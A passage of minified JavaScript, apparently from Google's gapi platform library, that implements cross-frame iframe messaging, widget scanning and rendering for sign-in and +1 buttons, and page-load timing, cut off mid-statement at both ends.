window.external.GTB_ResizeWindow&&window.external.GTB_ResizeWindow(a,b)};window.ToolbarApi=es;window.ToolbarApi.getInstance=es.Na}; var ks=function(){_.K.register("_noop_echo",function(){this.callback(_.O.RS(_.O.Tj[this.f]))})},ls=function(){window.setTimeout(function(){_.K.call("..","_noop_echo",_.O.pX)},0)},Wr=function(a,b,c){var d=function(d){var e=Array.prototype.slice.call(arguments,0),h=e[e.length-1];if("function"===typeof h){var k=h;e.pop()}e.unshift(b,a,k,c);_.K.call.apply(_.K,e)};d._iframe_wrapped_rpc_=!0;return d},Ur=function(a){_.O.Lv[a]||(_.O.Lv[a]={},_.K.register(a,function(b,c){var d=this.f;if(!("string"!=typeof b|| b in{}||d in{})){var e=this.callback,f=_.O.Lv[a][d],h;f&&Object.hasOwnProperty.call(f,b)?h=f[b]:Object.hasOwnProperty.call(_.O.tn,a)&&(h=_.O.tn[a]);if(h)return d=Array.prototype.slice.call(arguments,1),h._iframe_wrapped_rpc_&&e&&d.push(e),h.apply({},d)}_.Sa(['Unregistered call in window "',window.name,'" for method "',a,'", via proxyId "',b,'" from frame "',d,'".'].join(""));return null}));return _.O.Lv[a]}; _.O.cQ=function(a,b,c){var d=Array.prototype.slice.call(arguments);_.O.qH(function(a){a.sameOrigin&&(d.unshift("/"+a.claimedOpenerId+"|"+window.location.protocol+"//"+window.location.host),_.K.call.apply(_.K,d))})};_.O.RX=function(a,b){_.K.register(a,b)}; var Pr=/^[-_.0-9A-Za-z]+$/,ms={open:"open",onready:"ready",close:"close",onresize:"resize",onOpen:"open",onReady:"ready",onClose:"close",onResize:"resize",onRenderStart:"renderstart"},ns={onBeforeParentOpen:"beforeparentopen"},os={onOpen:function(a){var b=a.Ob();a.Bf(b.container||b.element);return a},onClose:function(a){a.remove()}};_.O.hn=function(a){var b=_.D();_.Vd(_.wn,b);_.Vd(a,b);return b}; var as=function(a,b,c,d,e,f,h,k){this.config=$r(a);this.openParams=this.fr=b||{};this.params=c||{};this.methods=d;this.ww=!1;ps(this,b.style);this.jp={};qs(this,function(){var a;(a=this.fr.style)&&_.O.Rr[a]?a=_.O.Rr[a]:a?(_.Ra(['Missing handler for style "',a,'". Continuing with default handler.'].join("")),a=null):a=os;if(a){if("function"===typeof a)var b=a(this);else{var c={};for(b in a){var d=a[b];c[b]="function"===typeof d?_.I.Yu(a,d,this):d}b=c}for(var h in e)a=b[h],"function"===typeof a&&rs(this, e[h],_.I.Yu(b,a))}f&&rs(this,"close",f)});this.Ki=this.ac=h;this.HB=(k||[]).slice();h&&this.HB.unshift(h.ka())};as.prototype.Ob=function(){return this.fr};as.prototype.Nj=function(){return this.params};as.prototype.Xt=function(){return this.methods};as.prototype.Qc=function(){return this.Ki};var ps=function(a,b){a.ww||((b=b&&!_.O.Rr[b]&&_.O.wy[b])?(a.vy=[],b(function(){a.ww=!0;for(var b=0,d=a.vy.length;b<d;++b)a.vy[b].call(a)})):a.ww=!0)},qs=function(a,b){a.ww?b.call(a):a.vy.push(b)}; as.prototype.Uc=function(a,b){qs(this,function(){rs(this,a,b)})};var rs=function(a,b,c){a.jp[b]=a.jp[b]||[];a.jp[b].push(c)};as.prototype.cm=function(a,b){qs(this,function(){var c=this.jp[a];if(c)for(var d=0,e=c.length;d<e;++d)if(c[d]===b){c.splice(d,1);break}})}; as.prototype.Og=function(a,b){var c=this.jp[a];if(c)for(var d=Array.prototype.slice.call(arguments,1),e=0,f=c.length;e<f;++e)try{var h=c[e].apply({},d)}catch(k){_.Sa(['Exception when calling callback "',a,'" with exception "',k.name,": ",k.message,'".'].join(""))}return h}; var ss=function(a){return"number"==typeof a?{value:a,oz:a+"px"}:"100%"==a?{value:100,oz:"100%",QI:!0}:null},ts=function(a,b,c,d,e,f,h){as.call(this,a,b,c,d,ms,e,f,h);this.id=b.id||Mr();this.wr=b.rpctoken&&String(b.rpctoken)||Math.round(1E9*(0,_.ck)());this.WU=Zr(this.params,this.config);this.ez={};qs(this,function(){this.Og("open");_.Tr(this.ez,this)})};bs(ts);_.g=ts.prototype; _.g.Bf=function(a,b){if(!this.config.url)return _.Sa("Cannot open iframe, empty URL."),this;var c=this.id;_.O.Tj[c]=this;var d=_.Tr(this.methods);d._ready=this.uv;d._close=this.close;d._open=this.vv;d._resizeMe=this.Yn;d._renderstart=this.PJ;var e=this.WU;this.wr&&(e.rpctoken=this.wr);e._methods=_.Vr(d,c,"",this,!0);this.el=a="string"===typeof a?window.document.getElementById(a):a;d={};d.id=c;if(b){d.attributes=b;var f=b.style;if("string"===typeof f){if(f){var h=[];f=f.split(";");for(var k=0,l=f.length;k< l;++k){var n=f[k];if(0!=n.length||k+1!=l)n=n.split(":"),2==n.length&&n[0].match(/^[ a-zA-Z_-]+$/)&&n[1].match(/^[ +.%0-9a-zA-Z_-]+$/)?h.push(n.join(":")):_.Sa(['Iframe style "',f[k],'" not allowed.'].join(""))}h=h.join(";")}else h="";b.style=h}}this.Ob().allowPost&&(d.allowPost=!0);this.Ob().forcePost&&(d.forcePost=!0);d.queryParams=this.params;d.fragmentParams=e;d.paramsSerializer=Nr;this.Qg=_.Kn(this.config.url,a,d);a=this.Qg.getAttribute("data-postorigin")||this.Qg.src;_.O.Tj[c]=this;_.K.ew(this.id, this.wr);_.K.Ph(this.id,a);return this};_.g.le=function(a,b){this.ez[a]=b};_.g.ka=function(){return this.id};_.g.Ha=function(){return this.Qg};_.g.$a=function(){return this.el};_.g.Ze=function(a){this.el=a};_.g.uv=function(a){var b=Xr(a,this.id,"");this.Ki&&"function"==typeof this.methods._ready&&(a._methods=_.Vr(b,this.Ki.ka(),this.id,this,!1),this.methods._ready(a));_.Tr(a,this);_.Tr(b,this);this.Og("ready",a)};_.g.PJ=function(a){this.Og("renderstart",a)}; _.g.close=function(a){a=this.Og("close",a);delete _.O.Tj[this.id];return a};_.g.remove=function(){var a=window.document.getElementById(this.id);a&&a.parentNode&&a.parentNode.removeChild(a)}; _.g.vv=function(a){var b=Xr(a.params,this.id,a.proxyId);delete a.params._methods;"_parent"==a.openParams.anchor&&(a.openParams.anchor=this.el);if(Yr(a.openParams))new us(a.url,a.openParams,a.params,b,b._onclose,this,a.openedByProxyChain);else{var c=new ts(a.url,a.openParams,a.params,b,b._onclose,this,a.openedByProxyChain),d=this;qs(c,function(){var a={childId:c.ka()},f=c.ez;f._toclose=c.close;a._methods=_.Vr(f,d.id,c.id,c,!1);b._onopen(a)})}}; _.g.Yn=function(a){if(void 0===this.Og("resize",a)&&this.Qg){var b=ss(a.width);null!=b&&(this.Qg.style.width=b.oz);a=ss(a.height);null!=a&&(this.Qg.style.height=a.oz);this.Qg.parentElement&&(null!=b&&b.QI||null!=a&&a.QI)&&(this.Qg.parentElement.style.display="block")}}; var us=function(a,b,c,d,e,f,h){as.call(this,a,b,c,d,ns,e,f,h);this.url=a;this.xm=null;this.cC=Mr();qs(this,function(){this.Og("beforeparentopen");var a=_.Tr(this.methods);a._onopen=this.fX;a._ready=this.uv;a._onclose=this.dX;this.params._methods=_.Vr(a,"..",this.cC,this,!0);a={};for(c in this.params)a[c]=Nr(this.params[c]);var b=this.config.url;if(this.fr.hideUrlFromParent){var c=window.name;var d=b;b=_.ln(this.config.url,this.params,{},Nr);var e=a;a={};a._methods=e._methods;a["#opener"]=e["#opener"]; a["#urlindex"]=e["#urlindex"];a["#opener"]&&void 0!=e["#urlindex"]?(a["#opener"]=c+","+a["#opener"],c=d):(d=_.Td(_.ce,"fUrl",[]),e=d.length,d[e]=b,_.ce.rUrl=is,a["#opener"]=c,a["#urlindex"]=e,c=_.Xj.Qa(_.Nd.location.href),b=_.H("iframes/relay_url_"+(0,window.encodeURIComponent)(c))||"/_/gapi/sibling/1/frame.html",c+=b);b=c}_.op._open({url:b,openParams:this.fr,params:a,proxyId:this.cC,openedByProxyChain:this.HB})})};bs(us);us.prototype.iT=function(){return this.xm}; us.prototype.fX=function(a){this.xm=a.childId;var b=Xr(a,"..",this.xm);_.Tr(b,this);this.close=b._toclose;_.O.Tj[this.xm]=this;this.Ki&&this.methods._onopen&&(a._methods=_.Vr(b,this.Ki.ka(),this.xm,this,!1),this.methods._onopen(a))};us.prototype.uv=function(a){var b=String(this.xm),c=Xr(a,"..",b);_.Tr(a,this);_.Tr(c,this);this.Og("ready",a);this.Ki&&this.methods._ready&&(a._methods=_.Vr(c,this.Ki.ka(),b,this,!1),this.methods._ready(a))}; us.prototype.dX=function(a){if(this.Ki&&this.methods._onclose)this.methods._onclose(a);else return a=this.Og("close",a),delete _.O.Tj[this.xm],a}; var vs=function(a,b,c,d,e,f,h){as.call(this,a,b,c,d,ns,f,h);this.id=b.id||Mr();this.v_=e;d._close=this.close;this.onClosed=this.JJ;this.HM=0;qs(this,function(){this.Og("beforeparentopen");var b=_.Tr(this.methods);this.params._methods=_.Vr(b,"..",this.cC,this,!0);b={};b.queryParams=this.params;a=_.Bn(_.Qd,this.config.url,this.id,b);var c=e.openWindow(a);this.canAutoClose=function(a){a(e.KF(c))};e.nL(c,this);this.HM=c})};bs(vs); vs.prototype.close=function(a){a=this.Og("close",a);this.v_.XF(this.HM);return a};vs.prototype.JJ=function(){this.Og("close")}; (function(){_.O.Tj={};_.O.Rr={};_.O.wy={};_.O.tI=0;_.O.Lv={};_.O.tn={};_.O.Bv=null;_.O.Av=[];_.O.pX=function(a){var b=!1;try{if(null!=a){var c=window.parent.frames[a.id];b=c.iframer.id==a.id&&c.iframes.openedId_(_.op.id)}}catch(f){}try{_.O.Bv={origin:this.origin,referer:this.referer,claimedOpenerId:a&&a.id,claimedOpenerProxyChain:a&&a.proxyChain||[],sameOrigin:b};for(a=0;a<_.O.Av.length;++a)_.O.Av[a](_.O.Bv);_.O.Av=[]}catch(f){}};_.O.RS=function(a){var b=a&&a.Ki,c=null;b&&(c={},c.id=b.ka(),c.proxyChain= a.HB);return c};ks();if(window.parent!=window){var a=_.I.xc();a.gcv&&Qr(a.gcv);var b=a.jsh;b&&Rr(b);_.Tr(Xr(a,"..",""),_.op);_.Tr(a,_.op);ls()}_.O.Bb=cs;_.O.Xb=ds;_.O.pZ=gs;_.O.resize=fs;_.O.ZR=function(a){return _.O.wy[a]};_.O.NC=function(a,b){_.O.wy[a]=b};_.O.CK=fs;_.O.PZ=gs;_.O.ou={};_.O.ou.get=cs;_.O.ou.set=ds;_.O.EP=function(a,b){Ur(a);_.O.tn[a]=b||window[a]};_.O.s8=function(a){delete _.O.tn[a]};_.O.open=function(a,b,e,f,h,k){3==arguments.length?f={}:4==arguments.length&&"function"===typeof f&& (h=f,f={});var c="bubble"===b.style&&es?es.Na():null;return c?new vs(a,b,e,f,c,h,k):Yr(b)?new us(a,b,e,f,h,k):new ts(a,b,e,f,h,k)};_.O.close=function(a,b){_.op&&_.op._close&&_.op._close(a,b)};_.O.ready=function(a,b,e){2==arguments.length&&"function"===typeof b&&(e=b,b={});var c=a||{};"height"in c||(c.height=_.Jm.Xc());c._methods=_.Vr(b||{},"..","",_.op,!0);_.op&&_.op._ready&&_.op._ready(c,e)};_.O.qH=function(a){_.O.Bv?a(_.O.Bv):_.O.Av.push(a)};_.O.jX=function(a){return!!_.O.Tj[a]};_.O.kS=function(){return["https://ssl.gstatic.com/gb/js/", _.H("googleapis.config/gcv")].join("")};_.O.jK=function(a){var b={mouseover:1,mouseout:1};if(_.op._event)for(var c=0;c<a.length;c++){var f=a[c];f in b&&_.I.Hs(window.document,f,function(a){_.op._event({event:a.type,timestamp:(new Date).getTime()})},!0)}};_.O.zZ=Rr;_.O.KC=Sr;_.O.gJ=Or;_.O.vI=_.op})(); _.w("iframes.allow",_.O.EP);_.w("iframes.callSiblingOpener",_.O.cQ);_.w("iframes.registerForOpenedSibling",_.O.RX);_.w("iframes.close",_.O.close);_.w("iframes.getGoogleConnectJsUri",_.O.kS);_.w("iframes.getHandler",_.O.Bb);_.w("iframes.getDeferredHandler",_.O.ZR);_.w("iframes.getParentInfo",_.O.qH);_.w("iframes.iframer",_.O.vI);_.w("iframes.open",_.O.open);_.w("iframes.openedId_",_.O.jX);_.w("iframes.propagate",_.O.jK);_.w("iframes.ready",_.O.ready);_.w("iframes.resize",_.O.resize); _.w("iframes.setGoogleConnectJsVersion",_.O.pZ);_.w("iframes.setBootstrapHint",_.O.KC);_.w("iframes.setJsHint",_.O.zZ);_.w("iframes.setHandler",_.O.Xb);_.w("iframes.setDeferredHandler",_.O.NC);_.w("IframeBase",as);_.w("IframeBase.prototype.addCallback",as.prototype.Uc);_.w("IframeBase.prototype.getMethods",as.prototype.Xt);_.w("IframeBase.prototype.getOpenerIframe",as.prototype.Qc);_.w("IframeBase.prototype.getOpenParams",as.prototype.Ob);_.w("IframeBase.prototype.getParams",as.prototype.Nj); _.w("IframeBase.prototype.removeCallback",as.prototype.cm);_.w("Iframe",ts);_.w("Iframe.prototype.close",ts.prototype.close);_.w("Iframe.prototype.exposeMethod",ts.prototype.le);_.w("Iframe.prototype.getId",ts.prototype.ka);_.w("Iframe.prototype.getIframeEl",ts.prototype.Ha);_.w("Iframe.prototype.getSiteEl",ts.prototype.$a);_.w("Iframe.prototype.openInto",ts.prototype.Bf);_.w("Iframe.prototype.remove",ts.prototype.remove);_.w("Iframe.prototype.setSiteEl",ts.prototype.Ze); _.w("Iframe.prototype.addCallback",ts.prototype.Uc);_.w("Iframe.prototype.getMethods",ts.prototype.Xt);_.w("Iframe.prototype.getOpenerIframe",ts.prototype.Qc);_.w("Iframe.prototype.getOpenParams",ts.prototype.Ob);_.w("Iframe.prototype.getParams",ts.prototype.Nj);_.w("Iframe.prototype.removeCallback",ts.prototype.cm);_.w("IframeProxy",us);_.w("IframeProxy.prototype.getTargetIframeId",us.prototype.iT);_.w("IframeProxy.prototype.addCallback",us.prototype.Uc);_.w("IframeProxy.prototype.getMethods",us.prototype.Xt); _.w("IframeProxy.prototype.getOpenerIframe",us.prototype.Qc);_.w("IframeProxy.prototype.getOpenParams",us.prototype.Ob);_.w("IframeProxy.prototype.getParams",us.prototype.Nj);_.w("IframeProxy.prototype.removeCallback",us.prototype.cm);_.w("IframeWindow",vs);_.w("IframeWindow.prototype.close",vs.prototype.close);_.w("IframeWindow.prototype.onClosed",vs.prototype.JJ);_.w("iframes.util.getTopMostAccessibleWindow",_.O.Ia.DH);_.w("iframes.handlers.get",_.O.ou.get);_.w("iframes.handlers.set",_.O.ou.set); _.w("iframes.resizeMe",_.O.CK);_.w("iframes.setVersionOverride",_.O.PZ); as.prototype.send=function(a,b,c){_.O.QK(this,a,b,c)};_.op.send=function(a,b,c){_.O.QK(_.op,a,b,c)};as.prototype.register=function(a,b){var c=this;c.Uc(a,function(a){b.call(c,a)})};_.O.QK=function(a,b,c,d){var e=[];void 0!==c&&e.push(c);d&&e.push(function(a){d.call(this,[a])});a[b]&&a[b].apply(a,e)};_.O.Ho=function(){return!0};_.w("iframes.CROSS_ORIGIN_IFRAMES_FILTER",_.O.Ho);_.w("IframeBase.prototype.send",as.prototype.send);_.w("IframeBase.prototype.register",as.prototype.register); _.w("Iframe.prototype.send",ts.prototype.send);_.w("Iframe.prototype.register",ts.prototype.register);_.w("IframeProxy.prototype.send",us.prototype.send);_.w("IframeProxy.prototype.register",us.prototype.register);_.w("IframeWindow.prototype.send",vs.prototype.send);_.w("IframeWindow.prototype.register",vs.prototype.register);_.w("iframes.iframer.send",_.O.vI.send); var Iu=_.O.Xb,Ju={open:function(a){var b=_.ip(a.Ob());return a.Bf(b,{style:_.jp(b)})},attach:function(a,b){var c=_.ip(a.Ob()),d=b.id,e=b.getAttribute("data-postorigin")||b.src,f=/#(?:.*&)?rpctoken=(\d+)/.exec(e);f=f&&f[1];a.id=d;a.wr=f;a.el=c;a.Qg=b;_.O.Tj[d]=a;b=_.Tr(a.methods);b._ready=a.uv;b._close=a.close;b._open=a.vv;b._resizeMe=a.Yn;b._renderstart=a.PJ;_.Vr(b,d,"",a,!0);_.K.ew(a.id,a.wr);_.K.Ph(a.id,e);c=_.O.hn({style:_.jp(c)});for(var h in c)Object.prototype.hasOwnProperty.call(c,h)&&("style"== h?a.Qg.style.cssText=c[h]:a.Qg.setAttribute(h,c[h]))}};Ju.onready=_.kp;Ju.onRenderStart=_.kp;Ju.close=_.lp;Iu("inline",Ju); _.Wj=(window.gapi||{}).load; _.np=_.D(); _.pp=function(a){var b=window;a=(a||b.location.href).match(/.*(\?|#|&)usegapi=([^&#]+)/)||[];return"1"===(0,window.decodeURIComponent)(a[a.length-1]||"")}; var qp,rp,sp,tp,up,vp,zp,Ap;qp=function(a){if(_.Sd.test(Object.keys))return Object.keys(a);var b=[],c;for(c in a)_.Ud(a,c)&&b.push(c);return b};rp=function(a,b){if(!_.gf())try{a()}catch(c){}_.hf(b)};sp={button:!0,div:!0,span:!0};tp=function(a){var b=_.Td(_.ce,"sws",[]);return 0<=_.Xm.call(b,a)};up=function(a){return _.Td(_.ce,"watt",_.D())[a]};vp=function(a){return function(b,c){return a?_.Gn()[c]||a[c]||"":_.Gn()[c]||""}}; _.wp={apppackagename:1,callback:1,clientid:1,cookiepolicy:1,openidrealm:-1,includegrantedscopes:-1,requestvisibleactions:1,scope:1};_.xp=!1; _.yp=function(){if(!_.xp){for(var a=window.document.getElementsByTagName("meta"),b=0;b<a.length;++b){var c=a[b].name.toLowerCase();if(_.vc(c,"google-signin-")){c=c.substring(14);var d=a[b].content;_.wp[c]&&d&&(_.np[c]=d)}}if(window.self!==window.top){a=window.document.location.toString();for(var e in _.wp)0<_.wp[e]&&(b=_.Xd(a,e,""))&&(_.np[e]=b)}_.xp=!0}e=_.D();_.Vd(_.np,e);return e}; zp=function(a){var b;a.match(/^https?%3A/i)&&(b=(0,window.decodeURIComponent)(a));return _.mn(window.document,b?b:a)};Ap=function(a){a=a||"canonical";for(var b=window.document.getElementsByTagName("link"),c=0,d=b.length;c<d;c++){var e=b[c],f=e.getAttribute("rel");if(f&&f.toLowerCase()==a&&(e=e.getAttribute("href"))&&(e=zp(e))&&null!=e.match(/^https?:\/\/[\w\-_\.]+/i))return e}return window.location.href};_.Bp=function(){return window.location.origin||window.location.protocol+"//"+window.location.host}; _.Cp=function(a,b,c,d){return(a="string"==typeof a?a:void 0)?zp(a):Ap(d)};_.Dp=function(a,b,c){null==a&&c&&(a=c.db,null==a&&(a=c.gwidget&&c.gwidget.db));return a||void 0};_.Ep=function(a,b,c){null==a&&c&&(a=c.ecp,null==a&&(a=c.gwidget&&c.gwidget.ecp));return a||void 0}; _.Fp=function(a,b,c){return _.Cp(a,b,c,b.action?void 0:"publisher")};var Gp,Hp,Ip,Jp,Kp,Lp,Np,Mp;Gp={se:"0"};Hp={post:!0};Ip={style:"position:absolute;top:-10000px;width:450px;margin:0px;border-style:none"};Jp="onPlusOne _ready _close _open _resizeMe _renderstart oncircled drefresh erefresh".split(" ");Kp=_.Td(_.ce,"WI",_.D());Lp=["style","data-gapiscan"]; Np=function(a){for(var b=_.D(),c=0!=a.nodeName.toLowerCase().indexOf("g:"),d=0,e=a.attributes.length;d<e;d++){var f=a.attributes[d],h=f.name,k=f.value;0<=_.Xm.call(Lp,h)||c&&0!=h.indexOf("data-")||"null"===k||"specified"in f&&!f.specified||(c&&(h=h.substr(5)),b[h.toLowerCase()]=k)}a=a.style;(c=Mp(a&&a.height))&&(b.height=String(c));(a=Mp(a&&a.width))&&(b.width=String(a));return b}; _.Pp=function(a,b,c,d,e,f){if(c.rd)var h=b;else h=window.document.createElement("div"),b.setAttribute("data-gapistub",!0),h.style.cssText="position:absolute;width:450px;left:-10000px;",b.parentNode.insertBefore(h,b);f.siteElement=h;h.id||(h.id=_.Op(a));b=_.D();b[">type"]=a;_.Vd(c,b);a=_.Kn(d,h,e);f.iframeNode=a;f.id=a.getAttribute("id")};_.Op=function(a){_.Td(Kp,a,0);return"___"+a+"_"+Kp[a]++};Mp=function(a){var b=void 0;"number"===typeof a?b=a:"string"===typeof a&&(b=(0,window.parseInt)(a,10));return b}; var Qp=function(){},Tp=function(a){var b=a.Wm,c=function(a){c.H.constructor.call(this,a);var b=this.mh.length;this.Hg=[];for(var d=0;d<b;++d)this.mh[d].p8||(this.Hg[d]=new this.mh[d](a))};_.z(c,b);for(var d=[];a;){if(b=a.Wm){b.mh&&_.pe(d,b.mh);var e=b.prototype,f;for(f in e)if(e.hasOwnProperty(f)&&_.Xa(e[f])&&e[f]!==b){var h=!!e[f].c8,k=Rp(f,e,d,h);(h=Sp(f,e,k,h))&&(c.prototype[f]=h)}}a=a.H&&a.H.constructor}c.prototype.mh=d;return c},Rp=function(a,b,c,d){for(var e=[],f=0;f<c.length&&(c[f].prototype[a]=== b[a]||(e.push(f),!d));++f);return e},Sp=function(a,b,c,d){return c.length?d?function(b){var d=this.Hg[c[0]];return d?d[a].apply(this.Hg[c[0]],arguments):this.mh[c[0]].prototype[a].apply(this,arguments)}:b[a].eQ?function(b){a:{var d=Array.prototype.slice.call(arguments,0);for(var e=0;e<c.length;++e){var k=this.Hg[c[e]];if(k=k?k[a].apply(k,d):this.mh[c[e]].prototype[a].apply(this,d)){d=k;break a}}d=!1}return d}:b[a].dQ?function(b){a:{var d=Array.prototype.slice.call(arguments,0);for(var e=0;e<c.length;++e){var k= this.Hg[c[e]];k=k?k[a].apply(k,d):this.mh[c[e]].prototype[a].apply(this,d);if(null!=k){d=k;break a}}d=void 0}return d}:b[a].AJ?function(b){for(var d=Array.prototype.slice.call(arguments,0),e=0;e<c.length;++e){var k=this.Hg[c[e]];k?k[a].apply(k,d):this.mh[c[e]].prototype[a].apply(this,d)}}:function(b){for(var d=Array.prototype.slice.call(arguments,0),e=[],k=0;k<c.length;++k){var l=this.Hg[c[k]];e.push(l?l[a].apply(l,d):this.mh[c[k]].prototype[a].apply(this,d))}return e}:d||b[a].eQ||b[a].dQ||b[a].AJ? null:Up},Up=function(){return[]};Qp.prototype.jz=function(a){if(this.Hg)for(var b=0;b<this.Hg.length;++b)if(this.Hg[b]instanceof a)return this.Hg[b];return null}; var Vp=function(a){return this.Ya.jz(a)};var Wp,Xp,Yp,Zp,$p=/(?:^|\s)g-((\S)*)(?:$|\s)/,aq={plusone:!0,autocomplete:!0,profile:!0,signin:!0,signin2:!0};Wp=_.Td(_.ce,"SW",_.D());Xp=_.Td(_.ce,"SA",_.D());Yp=_.Td(_.ce,"SM",_.D());Zp=_.Td(_.ce,"FW",[]); var eq=function(a,b){var c;bq.ps0=(new Date).getTime();cq("ps0");a=("string"===typeof a?window.document.getElementById(a):a)||_.Qd;var d=_.Qd.documentMode;if(a.querySelectorAll&&(!d||8<d)){d=b?[b]:qp(Wp).concat(qp(Xp)).concat(qp(Yp));for(var e=[],f=0;f<d.length;f++){var h=d[f];e.push(".g-"+h,"g\\:"+h)}d=a.querySelectorAll(e.join(","))}else d=a.getElementsByTagName("*");a=_.D();for(e=0;e<d.length;e++){f=d[e];var k=f;h=b;var l=k.nodeName.toLowerCase(),n=void 0;if(k.getAttribute("data-gapiscan"))h=null; else{var p=l.indexOf("g:");0==p?n=l.substr(2):(p=(p=String(k.className||k.getAttribute("class")))&&$p.exec(p))&&(n=p[1]);h=!n||!(Wp[n]||Xp[n]||Yp[n])||h&&n!==h?null:n}h&&(aq[h]||0==f.nodeName.toLowerCase().indexOf("g:")||0!=qp(Np(f)).length)&&(f.setAttribute("data-gapiscan",!0),_.Td(a,h,[]).push(f))}for(q in a)Zp.push(q);bq.ps1=(new Date).getTime();cq("ps1");if(b=Zp.join(":"))try{_.Wd.load(b,void 0)}catch(t){_.ue(t);return}e=[];for(c in a){d=a[c];var q=0;for(b=d.length;q<b;q++)f=d[q],dq(c,f,Np(f), e,b)}}; var fq=function(a,b){var c=up(a);b&&c?(c(b),(c=b.iframeNode)&&c.setAttribute("data-gapiattached",!0)):_.Wd.load(a,function(){var c=up(a),e=b&&b.iframeNode,f=b&&b.userParams;e&&c?(c(b),e.setAttribute("data-gapiattached",!0)):(c=_.Wd[a].go,"signin2"==a?c(e,f):c(e&&e.parentNode,f))})},dq=function(a,b,c,d,e,f,h){switch(gq(b,a,f)){case 0:a=Yp[a]?a+"_annotation":a;d={};d.iframeNode=b;d.userParams=c;fq(a,d);break;case 1:if(b.parentNode){for(var k in c){if(f=_.Ud(c,k))f=c[k],f=!!f&&"object"===typeof f&&(!f.toString|| f.toString===Object.prototype.toString||f.toString===Array.prototype.toString);if(f)try{c[k]=_.df(c[k])}catch(F){delete c[k]}}k=!0;c.dontclear&&(k=!1);delete c.dontclear;var l;f={};var n=l=a;"plus"==a&&c.action&&(l=a+"_"+c.action,n=a+"/"+c.action);(l=_.H("iframes/"+l+"/url"))||(l=":im_socialhost:/:session_prefix::im_prefix:_/widget/render/"+n+"?usegapi=1");for(p in Gp)f[p]=p+"/"+(c[p]||Gp[p])+"/";var p=_.mn(_.Qd,l.replace(_.Fn,vp(f)));n="iframes/"+a+"/params/";f={};_.Vd(c,f);(l=_.H("lang")||_.H("gwidget/lang"))&& (f.hl=l);Hp[a]||(f.origin=_.Bp());f.exp=_.H(n+"exp");if(n=_.H(n+"location"))for(l=0;l<n.length;l++){var q=n[l];f[q]=_.Nd.location[q]}switch(a){case "plus":case "follow":f.url=_.Fp(f.href,c,null);delete f.href;break;case "plusone":n=(n=c.href)?zp(n):Ap();f.url=n;f.db=_.Dp(c.db,void 0,_.H());f.ecp=_.Ep(c.ecp,void 0,_.H());delete f.href;break;case "signin":f.url=Ap()}_.ce.ILI&&(f.iloader="1");delete f["data-onload"];delete f.rd;for(var t in Gp)f[t]&&delete f[t];f.gsrc=_.H("iframes/:source:");t=_.H("inline/css"); "undefined"!==typeof t&&0<e&&t>=e&&(f.ic="1");t=/^#|^fr-/;e={};for(var x in f)_.Ud(f,x)&&t.test(x)&&(e[x.replace(t,"")]=f[x],delete f[x]);x="q"==_.H("iframes/"+a+"/params/si")?f:e;t=_.yp();for(var v in t)!_.Ud(t,v)||_.Ud(f,v)||_.Ud(e,v)||(x[v]=t[v]);v=[].concat(Jp);x=_.H("iframes/"+a+"/methods");_.Wm(x)&&(v=v.concat(x));for(y in c)_.Ud(c,y)&&/^on/.test(y)&&("plus"!=a||"onconnect"!=y)&&(v.push(y),delete f[y]);delete f.callback;e._methods=v.join(",");var y=_.ln(p,f,e);v=h||{};v.allowPost=1;v.attributes= Ip;v.dontclear=!k;h={};h.userParams=c;h.url=y;h.type=a;_.Pp(a,b,c,y,v,h);b=h.id;c=_.D();c.id=b;c.userParams=h.userParams;c.url=h.url;c.type=h.type;c.state=1;_.fp[b]=c;b=h}else b=null;b&&((c=b.id)&&d.push(c),fq(a,b))}},gq=function(a,b,c){if(a&&1===a.nodeType&&b){if(c)return 1;if(Yp[b]){if(sp[a.nodeName.toLowerCase()])return(a=a.innerHTML)&&a.replace(/^[\s\xa0]+|[\s\xa0]+$/g,"")?0:1}else{if(Xp[b])return 0;if(Wp[b])return 1}}return null}; _.Td(_.Wd,"platform",{}).go=function(a,b){eq(a,b)};var hq=_.Td(_.ce,"perf",_.D()),bq=_.Td(hq,"g",_.D()),iq=_.Td(hq,"i",_.D()),jq,kq,lq,cq,nq,oq,pq;_.Td(hq,"r",[]);jq=_.D();kq=_.D();lq=function(a,b,c,d){jq[c]=jq[c]||!!d;_.Td(kq,c,[]);kq[c].push([a,b])};cq=function(a,b,c){var d=hq.r;"function"===typeof d?d(a,b,c):d.push([a,b,c])};nq=function(a,b,c,d){if("_p"==b)throw Error("S");_.mq(a,b,c,d)};_.mq=function(a,b,c,d){oq(b,c)[a]=d||(new Date).getTime();cq(a,b,c)};oq=function(a,b){a=_.Td(iq,a,_.D());return _.Td(a,b,_.D())}; pq=function(a,b,c){var d=null;b&&c&&(d=oq(b,c)[a]);return d||bq[a]}; (function(){function a(a){this.t={};this.tick=function(a,b,c){this.t[a]=[void 0!=c?c:(new Date).getTime(),b];if(void 0==c)try{window.console.timeStamp("CSI/"+a)}catch(p){}};this.tick("start",null,a)}var b;if(window.performance)var c=(b=window.performance.timing)&&b.responseStart;var d=0<c?new a(c):new a;window.__gapi_jstiming__={Timer:a,load:d};if(b){var e=b.navigationStart;0<e&&c>=e&&(window.__gapi_jstiming__.srt=c-e)}if(b){var f=window.__gapi_jstiming__.load;0<e&&c>=e&&(f.tick("_wtsrt",void 0,e), f.tick("wtsrt_","_wtsrt",c),f.tick("tbsd_","wtsrt_"))}try{b=null,window.chrome&&window.chrome.csi&&(b=Math.floor(window.chrome.csi().pageT),f&&0<e&&(f.tick("_tbnd",void 0,window.chrome.csi().startE),f.tick("tbnd_","_tbnd",e))),null==b&&window.gtbExternal&&(b=window.gtbExternal.pageT()),null==b&&window.external&&(b=window.external.pageT,f&&0<e&&(f.tick("_tbnd",void 0,window.external.startE),f.tick("tbnd_","_tbnd",e))),b&&(window.__gapi_jstiming__.pt=b)}catch(h){}})(); if(window.__gapi_jstiming__){window.__gapi_jstiming__.AF={};window.__gapi_jstiming__.eY=1;var sq=function(a,b,c){var d=a.t[b],e=a.t.start;if(d&&(e||c))return d=a.t[b][0],e=void 0!=c?c:e[0],Math.round(d-e)};window.__gapi_jstiming__.getTick=sq;window.__gapi_jstiming__.getLabels=function(a){var b=[],c;for(c in a.t)b.push(c);return b};var tq=function(a,b,c){var d="";window.__gapi_jstiming__.srt&&(d+="&srt="+window.__gapi_jstiming__.srt);window.__gapi_jstiming__.pt&&(d+="&tbsrt="+window.__gapi_jstiming__.pt); try{window.external&&window.external.tran?d+="&tran="+window.external.tran:window.gtbExternal&&window.gtbExternal.tran?d+="&tran="+window.gtbExternal.tran():window.chrome&&window.chrome.csi&&(d+="&tran="+window.chrome.csi().tran)}catch(q){}var 